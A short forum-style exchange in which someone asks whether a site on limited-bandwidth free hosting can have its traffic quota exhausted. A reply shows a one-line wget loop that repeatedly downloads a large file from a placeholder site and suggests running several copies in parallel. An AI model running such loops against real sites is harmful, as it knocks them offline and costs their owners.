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Q: if my site hosted on free web hosting with limited bandwidth 30,000 MB every month? is my site vulnerable to bandwidth consumption attack? if that possible ? how is it happened?

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For example, I'll write a primitive script that will loop i download the same large file, until all the traffic limit

whie true; do wget -c http://tour_site.com/big.file.avi; done
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If you run several of these scripts in parallel - the traffic will end several times faster.
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i got the point

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